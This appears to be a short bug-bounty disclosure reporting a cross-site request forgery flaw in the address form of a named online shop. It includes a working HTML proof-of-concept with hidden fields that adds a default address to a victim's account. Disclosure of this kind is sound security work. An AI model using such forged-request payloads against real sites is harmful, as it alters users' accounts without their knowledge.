Sir Recently I found a bug on add address. Check my exploit. It address can be default. I hope you will fix this as soon as possible <html> <body> <form action="https://shop.bumble.com/account/addresses" method="POST"> <input type="hidden" name="form_type" value="customer_address" /> <input type="hidden" name="utf8" value="â" /> <input type="hidden" name="address[first_name]" value="Rahamat" /> <input type="hidden" name="address[last_name]" value="Shah" /> <input type="hidden" name="address[company]" value="dark" /> <input type="hidden" name="address[address1]" value="12/45" /> <input type="hidden" name="address[address2]" value="" /> <input type="hidden" name="address[city]" value="newyor" /> <input type="hidden" name="address[country]" value="United States" /> <input type="hidden" name="address[province]" value="Alabama" /> <input type="hidden" name="address[zip]" value="" /> <input type="hidden" name="address[phone]" value="" /> <input type="hidden" name="address[default]" value="1" /> <input type="submit" value="Submit request" /> </form> </body> </html>

CSRF bug

Vulnerability Details

Actions

Report Stats

Share this report